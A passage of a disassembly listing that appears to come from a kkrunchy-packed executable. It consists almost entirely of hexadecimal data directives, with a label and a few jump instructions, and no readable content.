		dd 2 dup(14C0000h), 0ECD60000h,	82D80040h, 3F540041h, 82940041h
		dd 3270041h, 1800000h, 1A30000h, 83380000h, 0F4610041h
		dd 3BC0040h, 1A70000h, 836C0000h, 7D980041h, 835C0041h
		dd 1A70041h, 83840000h,	0F7270041h, 2B40040h, 2B10000h
		dd 84080000h, 83D00041h, 83A00041h, 35500041h, 0FFFF0041h
		dd 0EA600000h, 0EE800000h, 2B10036h, 1000000h, 84380000h
		dd 0F8350041h, 2C80040h, 2B30000h, 84A80000h, 3E80041h
		dd 84940000h, 84580041h, 0FFFF0041h, 2B30000h, 7D00000h
		dd 0EA600000h, 1000000h, 2 dup(2000000h), 1A30000h, 84F00000h
		dd 0F9C90041h, 3B5C0040h, 2 dup(852C0041h), 190041h, 85A40002h
		dd 20041h, 1048000h, 85940000h,	85880041h, 85780041h, 85640041h
		dd 33780041h, 854C0041h, 5C40041h, 1A70000h, 86C00000h
		dd 33780041h, 41h, 86B80010h, 86B00041h, 86A80041h, 86A00041h
		dd 86980041h, 868C0041h, 867C0041h, 866C0041h, 865C0041h
		dd 864C0041h, 3E80041h,	86200000h, 3E80041h, 85E40000h
		dd 1A70041h, 86E80000h,	0FEB80041h, 19800040h, 0F980041h
		dd 1A70000h, 40030000h,	89508000h, 891C0041h, 40030041h
		dd 89188000h, 40030041h, 89508000h, 40030041h, 40038000h
		dd 89508000h, 40030041h, 89148000h, 40030041h, 89508000h
		dd 3B6C0041h, 91D00041h, 89080041h, 88C80041h, 88BC0041h
		dd 91D00041h, 35280041h, 3E80041h, 88640000h, 88580041h
		dd 88540041h, 3E80041h,	88140000h, 88080041h, 87FC0041h
		dd 87F40041h, 87EC0041h, 87E40041h, 3E80041h, 879C0000h
		dd 91D00041h, 88540041h, 3E80041h, 87400000h, 2000041h
		dd 3E80000h, 87040000h,	1A70041h, 89600000h, 1E60041h
		dd 5BC0041h, 1A70000h, 4000000h, 8A8C0000h, 8A780041h
		dd 8A6C0041h, 0FFFF0041h, 190000h, 8A2C0002h, 20041h, 18000h
		dd 8A140000h, 10041h, 18000h, 42440000h, 42480041h, 89840041h
		dd 1A70041h, 8A940000h,	9990041h, 8AB40041h, 8B100041h
		dd 8B840041h, 8BC80041h, 199C0041h, 3AB0000h, 0FF0000h
		dd 10000h, 19800h, 8D940000h, 10280041h, 2 dup(1000000h)
		dd 8D600000h, 1800041h,	3B6C0000h, 3E80041h, 17F0000h
		dd 1800000h, 3B6C0000h,	3E80041h, 17F0000h, 3AB0000h, 91D00000h
		dd 2000041h, 1A30000h, 8DC80000h, 0C550041h, 2 dup(33780041h)
		dd 22A80041h, 175A0041h, 12DC0041h, 3AE0000h, 91540000h
		dd 3E80041h, 8E000000h,	1040041h
		dd 91D00000h, 2	dup(9ECC0041h),	9FE00041h, 2020041h, 10000h
		dd 0EA600000h, 91480000h, 10000041h, 91400000h,	74380041h
		dd 91380041h, 74380041h, 90F80041h, 8E500041h, 10000041h
		dd 3 dup(10000000h), 91700000h,	23C80041h, 3 dup(22C40041h)
		dd 23600041h
		db 41h,	0
word_3FD4B2	dw 0FEA4h		; DATA XREF: kkrunchy:003EA438o
; ---------------------------------------------------------------------------
		jmp	dword ptr [eax-15B0003h]
; ---------------------------------------------------------------------------
		jmp	dword ptr [eax-15B0003h]
; ---------------------------------------------------------------------------
		jmp	dword ptr [eax-1030003h]
; ---------------------------------------------------------------------------
		dw 0FCFFh
		dd 0FEFCFFFEh, 0FFFEFCFFh, 0FCFFFEFCh, 0FD34FFFEh, 0FFFD38FFh
		dd 34FFFD3Dh, 0FE3DFFFDh, 0FFFC30FFh, 38FFFC30h, 0FD3DFFFDh
		dd 0FFFD3DFFh, 39FFFD3Eh, 0FD38FFFDh, 0FFFD3DFFh, 34FFFE3Dh
		dd 0FD38FFFDh, 0FFFD3DFFh, 3DFFFE3Dh, 0FD34FFFEh, 109FFh
		dd 8D000189h, 1890001h,	18D00h,	0FFFE00h, 0FE00FFFEh, 0FFFBE0FFh
		dd 0DCFFF8DCh, 0FBE0FFF8h, 0FFF9E0FFh, 0E0FFF9E0h, 0F9E0FFF9h
		dd 0FFF9E0FFh, 0E4FFF9E0h, 0FBE0FFFDh, 0FFFDE4FFh, 0E0FFFDE4h
		dd 198FFFBh, 20400h, 3DFFFC18h,	0FC3DFFFCh, 0FFFC18FFh
		dd 41FFFE41h, 0FC18FFFDh, 0FFFC1CFFh, 18FFFC3Dh, 0FE4BFFFCh
		dd 0FFFA18FFh, 18FFFA18h, 0FA18FFFCh, 0FFFC1CFFh, 4BFFFC3Dh
		dd 0FC18FFFEh, 0FFFD08FFh, 2DFFFD2Dh, 0FD2DFFFDh, 0FFFD2EFFh
		dd 0FFFC04h, 0FD08FFF6h, 0FFFD2DFFh, 0FFFD08h, 0FC04FFF6h
		dd 0FFFD0CFFh, 4FFF600h, 0FD0CFFFCh, 0FFFD0CFFh, 8FFFC04h
		dd 0FE31FFFDh, 0FFFA04FFh, 8FFFA04h, 0FA04FFFDh, 0FFFD0CFFh
		dd 31FFFC04h, 0FD0CFFFEh, 0FFFC04FFh, 8FFFE31h,	0FD08FFFDh
		dd 129FFh, 33000229h, 22F0002h,	12900h,	0F8FFFBF8h, 0FBF8FFFBh
		dd 0FFFBF8FFh, 0F8FFFBF8h, 0FBF8FFFBh, 0FFFBF8FFh, 0F8FFFBF8h
		dd 0FC34FFFBh, 0FFFC38FFh, 35FFF82Ch, 0FB34FFFBh, 0FFFBB4FFh
		dd 3CFFFBB5h, 0F82CFFFDh, 0FFFC34FFh, 38FFFE40h, 0FD3CFFFCh
		dd 0FFFC3FFFh, 34FFFD3Ch, 0FC3FFFFCh, 0FFFC34FFh, 38FFFC38h
		dd 0FC39FFFCh, 0FFFC39FFh, 38FFFC38h, 0FC38FFFCh, 0FFFC38FFh
		dd 38FFFC3Fh, 0FC38FFFCh, 0FFFC3EFFh, 34FFFC38h, 0FBB4FFFBh
		dd 0FFFC38FFh, 38FFFC3Fh, 0FC38FFFCh, 0FFFC38FFh, 38FFFC38h
		dd 0FBB4FFFCh, 0FFFC38FFh, 39FFFB34h, 0FC38FFFCh, 0FFFC38FFh
		dd 30FFFC34h, 0FC38FFFAh, 0FFF930FFh, 3CFFFC34h, 0FA30FFFDh
		dd 0FFF930FFh, 34FFFBB4h, 0FC34FFFBh, 0FFFD3CFFh, 30FFFA30h
		dd 0FBB4FFF9h, 0FFFB34FFh, 3CFFFC34h, 0FA30FFFDh, 0FFF930FFh
		dd 34FFFD3Ch, 0FE40FFFCh, 0FFFD3CFFh, 3CFFFD3Ch, 0FC34FFFDh
		dd 0FFF82CFFh, 40FFFC34h, 0FC34FFFEh, 0FFFC34FFh, 34FFFE40h
		dd 108FFFCh, 20C00h, 0C0000108h, 0B80000h, 0C400h, 9C0000B4h
		dd 0A00000h, 0A800h, 0A40000ACh, 0B00000h, 0B800h, 0FCFFFEFCh
		dd 0FBDCFFFEh, 0FFFBDCFFh, 0DCFFFBDCh, 0FDE4FFFBh, 0FFFDE8FFh
		dd 0E8FFFDE4h, 0FDE4FFFDh, 0FFFDEEFFh, 0E4FFFDE4h, 0EDE4FFEDh
		dd 0FFEDE4FFh, 0E4FFEDE4h, 0EDE4FFEDh, 0FFEDE4FFh, 8BFFFDE4h
		dd 0FEFC0001h, 0FFFEFCFFh, 7CFFFF7Ch, 0FF7CFFFFh, 0FFFF7CFFh
		dd 7EFFFF7Ch, 0FF7CFFFFh, 0FFFF7EFFh, 0FCFFFBFCh, 804FFFBh
		dd 80400h, 8000808h, 8040008h, 80400h, 4FFFF70h, 8080008h
		dd 80800h, 8000808h, 0FF700008h, 804FFh, 1000080Ch, 8100008h
		dd 80C00h, 0D800080Ch, 0F7D4FFF7h, 0FFF7D4FFh, 0D8FFF7D4h
		dd 0F7D8FFF7h, 0FFF7D4FFh, 0F8FFF7D4h, 0F7F4FFF7h, 0FFEFF4FFh
		dd 0F0FFEFF0h, 0F7F4FFEFh, 0FFF7F4FFh, 0CFFFFD28h, 0FECFFFFEh
		dd 0FFFD28FFh, 0C8FFECC8h, 0ECD1FFECh, 0FFECC8FFh, 0DEFFECD8h
		dd 0ECE4FFECh, 0FFECE4FFh, 0E4FFECE4h, 0ECE4FFECh, 0FFECE4FFh
		dd 0E4FFECE4h, 0ECE4FFECh, 0FFECE4FFh, 0E4FFECE4h, 0ECE4FFECh
		dd 0FFECE4FFh, 0E4FFECE4h, 0ECE4FFECh, 0FFECE4FFh, 0E4FFECE4h
		dd 0ECE4FFECh, 0FFECE4FFh, 0E4FFECE4h, 0ECE4FFECh, 0FFECE4FFh
		dd 0CCFFECCAh, 0ECD0FFECh, 0FFECD4FFh, 0D2FFECC8h, 0ECDEFFECh
		dd 0FFECDCFFh, 0C8FFECE0h, 0FD28FFECh, 0FFFD28FFh, 0A7FFFD28h
		dd 2A70001h, 2AD00h, 0B10002B1h, 2B50002h, 2B100h, 980002B1h
		dd 0FEDD0001h, 0FFFEDCFFh, 0DCFFFEDCh, 0FEDCFFFEh, 0FFFEDCFFh
		dd 10FFFEDBh, 0FE580001h, 0FFFE58FFh, 5CFFFE5Ch, 0FE58FFFEh
		dd 0FFFE58FFh, 0ECFFFBECh, 0FDECFFFDh, 0FFFDECFFh, 0FCFFFBECh
		dd 0FEFCFFFEh, 0FFFDF8FFh, 0F8FFFDF8h, 0FEFCFFFDh, 0FFFEFCFFh
		dd 0FCFFFEFCh, 0FEFCFFFEh, 0FFFEFCFFh, 0F8FFFDF8h, 0FDF8FFFDh
		dd 0FFFEFCFFh, 0E4FFFEFCh, 0FEE4FFFEh, 0FFFEE4FFh, 0F8FFFEF8h
		dd 0FEF8FFFEh, 0FFFEF8FFh, 0FCFFFEF8h, 0FEFCFFFEh, 0FFFEFCFFh
		dd 98FFFC94h, 0FD98FFFDh, 0FFFD98FFh, 98FFFC94h, 0FE9CFFFDh
		dd 0FFFE9CFFh, 90413B90h, 0FE9C413Bh, 0FFFE9CFFh, 94FFFE9Ch
		dd 3B90FFFCh, 413B9441h, 94413B90h, 3B90413Bh, 413B9441h
		dd 9CFFFE9Ch, 0FE9CFFFEh, 0FFFC94FFh, 0F4FFFE9Ch, 0FEF8FFFDh
		dd 0FFFEF8FFh, 0F4FFFEF8h, 0FEF8FFFDh, 0FFFDF4FFh, 94413B90h
		dd 3B90413Bh, 413B9441h, 94413B90h, 0FDF4413Bh,	0FFFA2CFFh
		dd 0ECFFFA2Ch, 0FBECFFFBh, 0FFFBEDFFh, 36FFFA36h, 0FBF4FFFAh
		dd 0FFFBD9FFh, 0ECFFF92Ch, 0F92CFFFBh, 0FFFA46FFh, 0ECFFFBECh
		dd 0FBEDFFFBh, 0FFFBEEFFh, 0ECFFFBF0h, 0FBECFFFBh, 0FFFBEDFFh
		dd 0EDFFFBECh, 0E92CFFFBh, 0FFE92CFFh, 2CFFE92Ch, 0FE40FFE9h
		dd 0FFFE44FFh, 44FFFE40h, 0FE40FFFEh, 0FFFE5AFFh, 44FFFE40h
		dd 0FE4AFFFEh, 0FFFE5AFFh, 8BFFFE40h, 0FCD40001h, 100000FFh
		dd 0FCFFFF00h, 0FEFCFFFEh, 0FFFF00FFh, 0CFFFF04h, 0FF0CFFFFh
		dd 0FFFF04FFh, 0FFFF04h, 0FF04FFFFh, 0FFFF04FFh, 0CFFFF04h
		dd 0FF10FFFFh, 0FFFF10FFh, 0FBFFFE88h, 0FE7CFFFEh, 0FFFE80FFh
		dd 7CFFFE84h, 0FE7CFFFEh, 0FFFE7CFFh, 8FFF8D4h,	0FF04FFFFh
		dd 0FFFF00FFh, 0D8FFF8D4h, 0FCD4FFFCh, 0FFFEECFFh, 0EC413FCCh
		dd 3FD0FFFEh, 0FFFDEC41h, 0ECFFFDECh, 0FEECFFFEh, 0FFFDECFFh
		dd 0ECFFFBECh, 0FBECFFFBh, 0FFFBECFFh, 0ACFFFDB0h, 0F9ACFFF9h
		dd 0FFFF58FFh, 58FFFF58h, 0F9ACFFFFh, 0FFF5ACFFh, 0B4FFF5ACh
		dd 0FDB0FFFDh, 0FFFA38FFh, 0F5FFFBE0h, 0FBE0FFFBh, 0FFFBE0FFh
		dd 0E0FFFBE0h, 0FBE0FFFBh, 0FFFBE0FFh, 0E0FFFBE0h, 0FBE0FFFBh
		dd 0FFFA3CFFh, 64FFFA38h, 0FE65FFFEh, 0FFFE60FFh, 64FFFE64h
		dd 0FE78FFFEh, 0FFFE78FFh, 5C000198h, 0FE5CFFFEh, 0FFFE5CFFh
		dd 28FFFE5Ch, 0FECBFFFDh, 0FFFECBFFh, 28FFFD28h, 0FD28FFFDh
		dd 1A3FFh, 0A40002A3h, 2A80002h, 10400h, 0F8000204h, 0FEF8FFFEh
		dd 0FFFEF8FFh, 0F8FFEEF8h, 0EEF8FFEEh, 0FFEEF8FFh, 58000204h
		dd 0FC58FFFCh, 0FFFD5CFFh, 58FFFE5Ch, 104FFFCh,	10400h
		dd 0F8000204h, 0FE19FFFDh, 0FFFF19FFh, 0F8FFFF1Dh, 0FDD4FFFDh
		dd 0FFFA20FFh, 0F8FFFA20h, 0FC20FFFDh, 0FFFC20FFh, 20FFFC1Dh
		dd 0FC20FFFCh, 0FFFC20FFh, 0A0FFFC20h, 0FC20FFFAh, 0FFFAA0FFh
		dd 20FFFC20h, 0FC20FFFCh, 0FFFC20FFh, 0F8FFFC20h, 0FDF8FFFDh
		dd 0FFFDA0FFh, 0A0FFFDA0h, 0FDA0FFFDh, 0FFFCD8FFh, 0D8FFFDD8h
		dd 0FD0CFFFDh, 0FFFDD8FFh, 0F8FFFDD8h, 0FDF8FFFDh, 0FFFDF8FFh
		dd 0F8FFFDF8h, 0FDF8FFFDh, 0FFFDF8FFh, 0F8FFFDF8h, 0FDF8FFFDh
		dd 0FFFDF8FFh, 0F8FFFDF8h, 0FDF8FFFDh, 0FFFDF8FFh, 0F8FFFDF8h
		dd 0E61CFFFDh, 0FFA61CFFh, 0F8FFE61Ch, 0FDF8FFFDh, 0FFFDF8FFh
		dd 0F8FFFDF8h, 0FDF8FFFDh, 0FFFDF8FFh, 9CFFFDF8h, 0FC9CFFFCh
		dd 0FFFDF8FFh, 1CFFFDF8h, 0F61CFFF6h, 0FFFDF8FFh, 1CFFF61Ch
		dd 0FDF8FFF6h, 0FFF61CFFh, 0F8FFF61Ch, 0FDF8FFFDh, 0FFFDF8FFh
		dd 0F8FFFDF8h, 0FDF8FFFDh, 0FFFDF8FFh, 0F8FFFDF8h, 0FDF8FFFDh
		dd 0FFFCD4FFh, 79FFFCD8h, 0FAD4FFFEh, 0FFFAD4FFh, 2CFFFCD4h
		dd 0FE2CFFFEh, 0FFFE2CFFh, 20000184h, 8E24418Eh, 418E2841h
		dd 0E0FFFDC8h, 0FF60FFFEh, 0FFFEE0FFh, 0C8FFFEE0h, 0FDC8FFFDh
		dd 0FFFDC8FFh, 0E0FFFEE0h, 0FEE0FFFEh, 0FFFF60FFh
		dd 60FFFF60h, 0FE50FFFFh, 0FFFE4CFFh, 50FFFE4Ch, 0FE54FFFEh
		dd 0FFFF60FFh, 60FFFF60h, 0F000FFFFh, 0FFF000FFh, 0FFF000h
		dd 0F000FFF0h, 0FFF000FFh, 0FFF000h, 0F000FFF0h, 0FFF000FFh
		dd 21000198h, 0F0000001h, 19FFFh, 121h,	0F000FFF0h, 121FFh
		dd 0FFF000h, 0F000FFF0h, 0FFF000FFh, 0FFF000h, 0F000FFF0h
		dd 0FFF000FFh, 0C1FFFDA0h, 0FEC5FFFDh, 0FFFEC1FFh, 0A0FFFF3Fh
		dd 0FF44FFFDh, 0FFFF44FFh, 0B4FFFF44h, 0FEB0FFFEh, 0FFFEB0FFh
		dd 0B8FFFEB4h, 0FF44FFFEh, 0FFFF44FFh, 44FFFE44h, 0FE44FFFEh
		dd 0FFFE44FFh, 44FFFE44h, 0FD44FFFDh, 0FFFCC8FFh, 0C8FFFCC8h
		dd 0FF7CFFFCh, 0FFEE7CFFh, 7C418E18h, 0FEFBFFFEh, 0FFFEFBFFh
		dd 7BFFFF7Ch, 0FE7CFFFFh, 0FFFEFBFFh, 94FFFEFCh, 9D504151h
		dd 419D5041h, 50419D50h, 9D50419Dh, 419D5041h, 94419D50h
		dd 51944151h, 41519441h, 94415194h, 51944151h, 419D5041h
		dd 78419E54h, 0B7566AA4h, 2070DBC7h, 0AFBDCEEEh, 0C62A7C0Fh
		dd 30461387h, 0D8469501h, 0F7AF8098h, 0FF5BB144h, 225CD7BEh
		dd 71939011h, 79438E98h, 62B40821h, 0B3401E25h,	5E5A5140h
		dd 5DB6C7AAh, 14532F10h, 0A1E68144h, 0E6D3FBC8h, 7D6E1CDh
		dd 0D50D8737h, 55A14EDh, 0A3F8E3E9h, 6F02D9EFh,	422A4C8Ah
		dd 0F681FA39h, 9D612271h, 44E5380Ch, 0CFA9BEEAh, 0BB4B50DEh
		dd 0C6BFBC70h, 27FA9B7Eh, 0EF3085A1h, 39881D05h, 99E5D4D0h
		dd 0A27CF8DBh, 44AC5665h, 0FF972922h, 9423A72Ah, 0C393A039h
		dd 0CC925B59h, 0EFF47D0Ch, 4F845DD1h, 0E6E0A87Eh, 143142Ch
		dd 820811A1h, 0F235537Eh, 0D7D2BB3Ah, 9086D391h, 9E90419Eh
		dd 0FFFE0041h, 0FFFE00h, 0FE00FFFEh, 0FFF000FFh, 25FFF000h
		dd 0F008FFF0h, 0FFF00CFFh, 0CFFF00Ch, 0F008FFF0h, 146FFh
		dd 0FC0000C6h, 0C2FFEDh, 0FFEFFC00h, 0C9FFEFFCh, 0EDFCFFF0h
		dd 0FFF204FFh, 0D4FFF40Eh, 0F6D8FFF5h, 0FFFAE8FFh, 0F8FFFBECh
		dd 0F1FEFFFEh, 415280FFh, 0B041529Ch, 52BC4152h, 0FFF20041h
		dd 0FCFFEFFCh, 0F000FFEFh, 0FFF000FFh, 8FFF025h, 0F00CFFF0h
		dd 0FFF00CFFh, 8FFF00Ch, 146FFF0h, 0C600h, 0C2FFFDFCh
		dd 0EDFC0000h, 0FFEDFCFFh, 0FCFFEEC9h, 0EED1FFFDh, 0FFF004FFh
		dd 88FFEFFEh, 53A44153h, 4153B841h, 4153C4h, 0EDFCFFF0h
		dd 0FFEDFCFFh, 0FFF800h, 0F800FFE8h, 0FFE800FFh, 0C6000146h
		dd 0C20000h, 0FFFE0000h, 70000360h, 3A00003h, 3A000h, 94FFFE00h
		dd 3940003h, 8000h, 0B4000084h,	0B80000h, 0D000h, 6000018Ch
		dd 3680003h, 0FFE49800h, 0C6000146h, 0F4980000h, 0C2FFh
		dd 98FFFE98h, 0F6B0FFF6h, 0FFF6F4FFh, 18FFF714h, 0F71CFFF7h
		dd 0FFF720FFh, 7CFFF724h, 0F782FFF7h, 0FFF78AFFh, 92FFF78Eh
		dd 0F798FFF7h, 0FFF498FFh, 98FFF698h, 0F698FFFEh, 0FFF698FFh
		dd 0A0FFF698h, 0F6A8FFF6h, 0FFF698FFh, 46FFE498h, 0C60001h
		dd 0FFFD8000h, 800000C2h, 0C81CFFFDh, 0FFC84CFFh, 1FFFC84Bh
		dd 0C849FFC8h, 0FFC81CFFh, 0E8FF7BE8h, 7BE8FF7Bh, 0FFEFE2FFh
		dd 0E4415FB0h, 0FD80FFEFh, 0FFEFF4FFh, 1CFFF318h, 0FD80FFF3h
		dd 0FFF328FFh, 0FFF5ACh, 0ACC0FFE8h, 0FF5B10FFh, 10FF8BE8h
		dd 0ACC0FF5Bh, 0FF5B78FFh, 54FF8BE8h, 8C58FFBDh, 0FF971CFFh
		dd 0E8FF5B10h, 8BE8FF7Bh, 0FFD81CFFh, 80FFF5B0h, 0F650FFFDh
		dd 0FFFD5CFFh, 1CFFFD6Ch, 0F5B0FFD8h, 0FFD898FFh, 13FFE068h
		dd 0D81CFFE5h, 1014FFh,	0C6000146h, 0F6000000h,	0C2FFh
		dd 24FFF800h, 0FA34FFF8h, 0FFFA38FFh, 40FFFA3Ch, 0FA44FFFAh
		dd 0FFFA48FFh, 50FFFA4Ch, 0FA54FFFAh, 0FFF600FFh, 0FFFAACh
		dd 0F800FFF8h, 146FFh, 280000C6h, 0C2FFF9h, 0FFF32800h
		dd 28FFF328h, 0F368FFF3h, 0FFF36CFFh, 28FFF328h, 0F328FFF3h
		dd 0FFFC8CFFh, 12FFF928h, 0FD12FFFDh, 0FFFF76FFh, 8CFFFC8Ch
		dd 0FB28FFFCh, 0FFFBAEFFh, 28FFF928h, 146FFFBh,	0C600h
		dd 0C2FFFDF8h, 0DDF80000h, 0FFDE01FFh, 0F8FFDDF8h, 0DE01FFDDh
		dd 0FFEDF8FFh, 25FFEE28h, 0EDF8FFEEh, 0FFEDFBFFh, 0F8FFEDF8h
		dd 0DE01FFDDh, 0FFDDF8FFh, 0F8FFDE01h, 0DE01FFDDh, 0FFEDF8FFh
		dd 0F8FFEDF8h, 0EF28FFFDh, 0FFF680FFh, 0F8FFEDF8h, 146FFDDh
		dd 0C600h, 0C2FFFA48h, 0FC480000h, 0FFEC9CFFh, 9CFF7144h
		dd 6B1CFFECh, 416B1841h, 98FFEC9Ch, 0F59DFFF5h,	0FFFC48FFh
		dd 48FFFA48h, 0FC48FFFCh, 0FFF5DCFFh, 0DCFFFC48h, 7144FFF5h
		dd 0FFEC9CFFh, 9CFF8C9Ch, 3144FF8Ch, 0FFCC9CFFh, 74FFCC9Ch
		dd 0CC9CFFFFh, 0FFFF74FFh, 9CFFAC9Ch, 0AC9CFFACh, 0FF3144FFh
		dd 44416B20h, 6B20FF71h, 0FF314441h, 44FF3144h,	6B20FF31h
		dd 0FF714441h, 44FF7144h, 6B20FF71h, 416B2041h,	0F2FFDFF0h
		dd 0DFF0FFDFh, 0FFDFF2FFh, 0F0FFDFF0h, 6C20FFDFh, 416C2041h
		dd 20416C21h, 0FE00416Ch, 0FFFE00FFh, 0D0FFFDD0h, 0FDD0FFFDh
		dd 0FFFCD1FFh, 0D0FFFCD0h, 0FAD0FFFAh, 0FFFCD0FFh, 0D0FFFDD0h
		dd 0FDD0FFFDh, 0FFFDD0FFh, 0D0FFFDD0h, 0FCD0FFFDh, 0FFFDD0FFh
		dd 0D0FFFDD0h, 0FDD0FFFDh, 0FFFDD0FFh, 0D0FFFDD0h, 0FDD0FFFDh
		dd 0FFFDD0FFh, 0D0FFFCD0h, 0FDD0FFFDh, 0FFFDD0FFh, 0D0FFFCD0h
		dd 0FDD0FFFDh, 0FFFDD0FFh, 0D0FFFDD0h, 0FDD0FFFDh, 0FFFE00FFh
		dd 0FFFE00h, 0FE00FFFEh, 0FFFE00FFh, 0FFFE00h, 0FE00FFFEh
		dd 0FFFE00FFh, 0FFFE00h, 0FE00FFFEh, 0FFFE00FFh, 0FFFE00h
		dd 0FE50FFFEh, 0FFFE50FFh, 54FFFE50h, 0FE50FFFEh, 0FFFE50FFh
		dd 8800018Bh, 0FA88FFFBh, 0FFFA88FFh, 8CFFFB88h, 0FF34FFFBh
		dd 0FFF284FFh, 84FFF288h, 0FD30FFF2h, 0FFFD31FFh, 34FFFF34h
		dd 0FF35FFFFh, 0FFFF36FFh, 34FFFF37h, 0FD30FFFDh, 0FFFD31FFh
		dd 33FFFD32h, 0FD30FFFDh, 0FFFF35FFh, 36FFFF37h, 0FD30FFFFh
		dd 0FFFD31FFh, 33FFFD32h, 0FD32FFFDh, 0FFFD33FFh, 30FFFD34h
		dd 0FB88FFFDh, 0FFFB88FFh, 8F00018Bh, 880000h, 8900h, 8D000086h
		dd 0FE740000h, 0FFFF1CFFh, 0C0FFFE74h, 8E20417Ch, 418E2041h
		dd 0C0FFFDC0h, 0FDC0FFFDh, 417D98FFh, 0FFFF00h,	0FF00FFFFh
		dd 0FFFDBCFFh, 0BCFFFDBFh, 0FDBCFFFDh, 0FFFDBCFFh, 0BCFFFDBFh
		dd 0F7BCFFFDh, 0FFF7B8FFh, 50FFF7B8h, 0FE54FFFEh, 0FFFE50FFh
		dd 50FFFE54h, 0FE5AFFFEh, 0FFFE54FFh, 50FFFE50h, 18BFFFEh
		dd 0FFF7F800h, 0F8FFF7F8h, 0FEB4FFF7h, 0FFFEF2FFh, 0F2FFFEF6h
		dd 0FEF2FFFEh, 0FFFEEEFFh, 0EEFFFEF2h, 0FF76FFFEh, 0FFFEF2FFh
		dd 0F6FFFF76h, 0FF7AFFFEh, 0FFFF7AFFh, 0E6FFFEB4h, 0FF76FFFEh
		dd 0FFFEF2FFh, 76FFFEB4h, 0FF7AFFFFh, 0FFFEF2FFh, 18FFFD0Ch
		dd 0FBC0FFFEh, 0FFFE18FFh, 98FFFBC4h, 0FBC0417Dh, 0FFFBC4FFh
		dd 82FFFBD7h, 0FBD7FFFCh, 0FFFE18FFh, 0C1FFFD10h, 0FAC0FFFAh
		dd 0FFF9C1FFh, 0C0FFF9C0h, 0FD10FFF9h, 0FFFAC0FFh, 0CFFFE2Eh
		dd 0FBC0FFFDh, 0FFFC82FFh, 82FFFBC0h, 0FC82FFFCh, 0FFFC82FFh
		dd 32FFFC82h, 0FE18FFFEh, 0FFFE26FFh, 0CFFFD10h, 0FE18FFFDh
		dd 0FFFE26FFh, 0CFFFD10h, 0FE32FFFDh, 0FFFBC0FFh, 26FFFD0Ch
		dd 0F9C0FFFEh, 0FFFAC0FFh, 10FFF9C0h, 0FAC0FFFDh, 0FFFAC0FFh
		dd 0C0FFFE18h, 0FE26FFFAh, 0FFFE2AFFh, 0C0FFFBC0h, 0FD0CFFFBh
		dd 0FFF8C0FFh, 0C0FFFE18h, 0FE32FFF8h, 0FFFE18FFh, 32FFFD10h
		dd 0FD0CFFFEh, 10CFFh, 1E00011Ah, 1220001h, 12600h, 1A00018Bh
		dd 0FB780001h, 0FFFB78FFh, 7CFFFCFCh, 0FEA4FFFBh, 0FFFEA4FFh
		dd 0B7FFFEA0h, 0FEA0FFFEh
		dd 0FFFE93FFh, 0A0FFFF62h, 0FF62FFFEh, 0FFFE83FFh, 84FFFF62h
		dd 0FF62FFFEh, 0FFFF62FFh, 94FFFE87h, 0FE87FFFEh, 0FFFCFCFFh
		dd 94FFFE94h, 0FE87FFFEh, 0FFFE95FFh, 0A0FFFEB7h, 0FEA4FFFEh
		dd 0FFFCFCFFh, 0FCFFFB78h, 0FB78FFFCh, 184FFh, 44FFFE44h
		dd 0FC44FFFCh, 0FFFC44FFh, 44FFFC44h, 0FE48FFFCh, 0FFFE44FFh
		dd 56FFFD4Ch, 0FE50FFFEh, 0FFFD50FFh, 50FFFE50h, 0FE5AFFFDh
		dd 0FFFE56FFh, 50FFFE50h, 0FE5AFFFDh, 0FFFD4CFFh, 0E000104h
		dd 10A0001h, 0FFFD3800h, 3CFFFE44h, 0FD38FFFEh,	0FFFE3EFFh
		dd 3CFFFE44h, 0FD3CFFFEh, 0FFFD38FFh, 38FFFE48h, 0FE3EFFFDh
		dd 0FFFD3CFFh, 40FFFE3Eh, 0FD38FFFEh, 0FFFD3CFFh, 3CFFFE48h
		dd 0FE48FFFDh, 0FFFD38FFh, 6000104h, 1080001h, 10C00h
		dd 6000110h, 1040001h, 18B00h, 3CFFFDBCh, 0FDBCFFFAh, 0FFFDBCFFh
		dd 58FFFDC0h, 0FA3CFFFFh, 0FFFF58FFh, 64FFFBBCh, 0FCBCFFFFh
		dd 0FFFC3CFFh, 0BCFFFD3Ch, 0FD3CFFFBh, 0FFFC3CFFh, 64FFFCBCh
		dd 0FF64FFFFh, 0FFFF64FFh, 3CFFFBBCh, 0FD3CFFFCh, 0FFFF64FFh
		dd 0C0FFFCBCh, 0FDBCFFFDh, 0FFFF58FFh, 0C0FFFDBCh, 0FDBCFFFDh
		dd 0FFFD70FFh, 70FFFD70h, 0FD70FFFDh, 0FFFD74FFh, 0CFFFF0Ch
		dd 0FD70FFFFh, 0FFFF7CFFh, 44FFF844h, 0FA44FFFAh, 0FFFA43FFh
		dd 5CFFFA44h, 0F644FFF0h, 0FFFF7CFFh, 44FFFF09h, 0F844FFFAh
		dd 0FFFD74FFh, 0A8FFFF7Ch, 0FA44FFFCh, 0FFFA44FFh, 44FFFCA8h
		dd 0FCA8FFFAh, 0FFFA44FFh, 74FFF844h, 0FF7CFFFDh, 0FFFA44FFh
		dd 43FFFA44h, 0FA46FFFAh, 0FFFC44FFh, 44FFFC44h, 0FF18FFFCh
		dd 0FFFF18FFh, 18FFFF18h, 0FF09FFFFh, 0FFFF18FFh, 74FFFC44h
		dd 0FF7CFFFDh, 0FFF844FFh, 44FFF844h, 0F844FFF8h, 0FFFCA8FFh
		dd 0A8FFFCA8h, 0FF09FFFCh, 0FFFA44FFh, 74FFF844h, 0FCA8FFFDh
		dd 0FFFA44FFh, 0A8FFFA44h, 0FA44FFFCh, 0FFFCA8FFh, 44FFFA44h
		dd 0FD74FFF8h, 0FFF844FFh, 0CFFFA44h, 0FD70FFFFh, 0FFFD74FFh
		dd 44FFFD70h, 0FA44FFFEh, 0FFFA44FFh, 44FFFA44h, 0FE44FFFAh
		dd 0FFFE48FFh, 10FFFE44h, 0FC18FFFCh, 0FFFC18FFh, 90FFF690h
		dd 0FC14FFF6h, 0FFFC10FFh, 11FFFE18h, 0FB10FFFBh, 0FFFB10FFh
		dd 64FFFB10h, 0FC10FFE6h, 0FFE664FFh, 64FFE664h, 0E664FFE6h
		dd 0FFE664FFh, 74FFE66Dh, 0E670FFE6h, 0FFE670FFh, 14FFE670h
		dd 0E670FFFCh, 0FFF790FFh, 90FFE674h, 0F890FFF8h, 0FFF790FFh
		dd 90FFF990h, 0F990FFF9h, 0FFFE18FFh, 90FFFC10h, 0F990FFF9h
		dd 0FFFE18FFh, 10FFFC10h, 208FFFCh, 18B00h, 0D8FFEEA4h
